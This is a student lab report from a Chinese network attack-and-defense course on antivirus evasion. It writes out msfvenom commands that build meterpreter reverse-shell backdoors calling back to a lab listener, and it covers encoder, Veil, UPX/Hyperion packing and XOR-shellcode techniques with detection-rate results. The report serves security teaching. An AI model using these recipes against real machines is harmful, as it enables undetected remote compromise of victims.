20222412 2024-2025-1 《网络与系统攻防技术》实验三实验报告
20222412 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验要求
-
掌握免杀原理与技术
-
回答问题
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测:杀毒软件会维护一个病毒库,里面包含了大量已知恶意软件的特征码(通常是一段唯一的字节序列)。当扫描文件时,如果发现文件中包含与病毒库中相匹配的特征码,就会将其标记为恶意代码。
- 启发式恶意软件检测:这种方法不依赖于特定的特征码,而是通过分析程序的行为、代码结构等特征来判断其是否具有恶意性。如果一个程序的行为或代码结构与已知的恶意软件相似,就会被判定为恶意代码。
- 基于行为的检测:这种检测方式侧重于监控程序的运行时行为,如文件操作、注册表修改、网络连接等。如果程序表现出可疑的行为,如未经授权的文件访问或修改,就会被标记为恶意代码。
(2)免杀是做什么?
- 免杀,是一种使恶意软件能够逃避杀毒软件检测的技术。它通过各种手段改变恶意软件的代码或行为,使其不再符合杀毒软件的检测标准,从而避免被查杀。
(3)免杀的基本方法有哪些?
- 修改特征码:通过改变恶意软件中的特定字节序列(特征码),使其不再与杀毒软件的病毒库中的记录相匹配。
- 加壳:给恶意软件加上一个外壳,使其在运行时先执行外壳代码,再执行恶意代码。这样,杀毒软件就很难直接检测到恶意代码的存在。
- 编码和加密:对恶意代码进行编码或加密,使其在静态分析时难以被识别。只有在运行时才会解密并执行。
- 混淆和伪装:通过添加垃圾代码、改变程序结构等方式,使恶意软件的代码变得难以理解,从而增加杀毒软件的检测难度。
- 利用漏洞:利用操作系统或应用程序的漏洞来执行恶意代码,这些漏洞可能尚未被杀毒软件所知晓或无法有效防御。
- 社工攻击:通过社会工程学手段诱骗用户关闭杀毒软件或执行恶意软件。
3.实验过程
3.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
3.1.1 使用msf工具生成.exe后门程序
使用指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_1.exe
生成后门程序,如下。
将生成的后门程序放入virustotal进行评估,查看免杀效果,如下。
可以看到,免杀效果为58/71,以此为基准,与后续进行免杀处理后的文件进行对比
使用指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_2.exe
-e x86/shikata_ga_nai
: 使用 Shikata Ga Nai 编码器对生成的有效载荷进行编码,以提高其绕过防病毒软件的能力。Shikata Ga Nai 是一种多态性编码技术。-b '\x00'
: 指定需要避免的字节序列,这里表示避免包含空字节(\x00)。这通常用于确保生成的代码在某些环境中能够正确执行。
执行指令如下
进行免杀效果检测,如下。
可以看到被检出的概率为59/71,相比之下,差距不大,由此看以看出,该种加密方式,在现如今效果并不浩。
尝试,对后门程序多次编码,进行测试。指令如下。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_3.exe
此处,使用-i 12
表示对其进行12此编码。
再次,检测免杀效果,如下。
可以看到,此时被检出的概率依旧为59/71,由此可以看出,对于多次编码的技术,现阶段已有完善的的防御手段。
3.1.2 使用msf工具生成其他格式后门程序
分别使用指令,生成.jar文件、.php文件、.py文件以及.apk文件作为后门程序,用以测试不同格式下的免杀效果。具体情况如下。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f jar > 20222412.jar
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 x > 20222412.php
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f py > 20222412.py
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 x > 20222412.apk
综合以上所有文件格式查杀效果,可以看出,不同格式文件对查杀效果有显著影响,其中.py格式的文件免杀效果最好。
3.1.3 使用veil工具生成后门程序
配置veil,使用以下指令即可安装veil,并配置所需环境
sudo apt -y install veil
usr/share/veil/config/setup.sh --force --silent
进入veil工具界面,使用指令use 1
,输入list
查看载荷c/meterpreter/rev_tcp
对应序号为7.
使用指令use 7
,选择载荷c/meterpreter/rev_tcp
,并设置接口与ip地址。输入generate
生成后门程序如下。
设置完成文件名,可以看到文件所在路径如下。
对该文件进行免杀效果测试,如下。
可以看到,查杀率为44/72,相比于使用msf工具生成的后门程序,查杀概论更低了。
3.1.4 使用加壳的方式实现免杀
使用指令
upx 20222412_1.exe -o 20222412_upx.exe
实现对该文件的压缩加壳。
可以看到查杀率为54/71,相较于未加压缩壳时,提升较小。
使用以下指令对该文件使用加密壳。
将待加密文件放到工作目录下
cp 20222412_1.exe /usr/share/windows-resources/hyperion/
进入工作目录
cd /usr/share/windows-resources/hyperion/
加密文件
wine hyperion.exe -v 20222412_1.exe 20222412_hyp.exe
进行免杀检测,如下。
可以看到相较于压缩壳,加密壳更加难以查杀,但仍然无法有效的免杀。
3.1.5采用 C+shellcode来试图实现免杀
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f c
获取shellcode编码。
使用vi编译器编译文件20222412_c.c,并将生成的shellcode插入该文件。
输入
gcc 20222412_c.c -o 20222412_c.exe
将编译生成的20222411_c.exe文件并传至主机
对该文件进行免杀效果检测。
可以看到使用该项技术可以明显提升免杀成功的概率。
3.2 通过组合应用各种技术实现恶意代码免杀
经查阅多方资料,结合多篇文章,先采用如下免杀技术,用于躲避火绒的查杀。
在使用c和shellcode编码的基础上增加异或操作,具体操作如下。
将msf生成的后门使用如下c程序进行异或操作,编译运行后,将异或后的代码存入202222412_shellcode.txt文件。
可以看到异或后的代码如下。
将异或后的代码插入c程序并编译。
该后门程序上传至VirusTotal检测,可以看到此程序效果极佳。
使用查杀软件查杀,如下。
但是存在一个问题,传输的文件无法运行,进而无法使用该后门进行攻击。
3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
同上述步骤,生成一个可执行的后门程序,此处我生成了一个raw格式文件,并导入对应shellcode
这里存在一个问题需要使用工具才能成功运行shellcode_launcher。
运行后可以看到msf工具成功与被攻击电脑连接。
4.问题及解决方案
- 问题:上传到被攻击主机上的绝大多数通过加密后的文件都无法正常运行
- 问题解决方案:通过查阅资料,可以使用shellcode_launcher工具加载和执行Shellcode的软件或代码片段。
5.学习感悟、思考等
在这次实验中,我深入学习并实践了多种免杀技术,包括使用MSF编码器、Veil-Evasion以及自行编写Shellcode等方法。通过这些工具和技术的组合应用,我成功地实现了恶意代码的免杀效果。在此过程中,我有以下几点心得体会。
在尝试各种免杀技术之前,深入理解每种技术的工作原理是非常重要的。例如,了解特征码是如何被杀毒软件识别的,以及如何通过修改特征码来绕过检测。
理论知识需要通过实际操作来验证。在实验中,我发现有些理论上可行的方法在实践中并不总是有效,这要求我们不断尝试和调整策略。
单一的免杀技术往往容易被杀毒软件识破,而将多种技术组合起来使用则能显著提高免杀成功率。例如,先对Shellcode进行编码处理,再加上壳,最后通过混淆技术进一步伪装。
随着杀毒软件的不断升级,免杀技术也需要不断更新。保持对最新安全动态的关注,及时学习和掌握新的免杀技巧是必要的。
本次使用中第二个任务尤为艰难,因为,我们所使用的是最基本的后门程序生成工具,msf中的绝大多数特征码已经被现代的杀毒软件获取,尤其是加壳,可以从实验中看到,加壳后的文件反而更容易被发现。我所使用的异或操作其实本质上就是改变甚至消除特征码,除我所使用的方法,还有几种思路值得尝试,例如花指令等,但究其根本就是让杀毒软件认不出你的shellcode。
不过上述方法还存在缺陷,对于基于沙盒的免杀技术就比较难以实现,我认为解决思路可以增加任务触发shellcode,但不能是使用例如开机自启动这种比较容易发现的任务。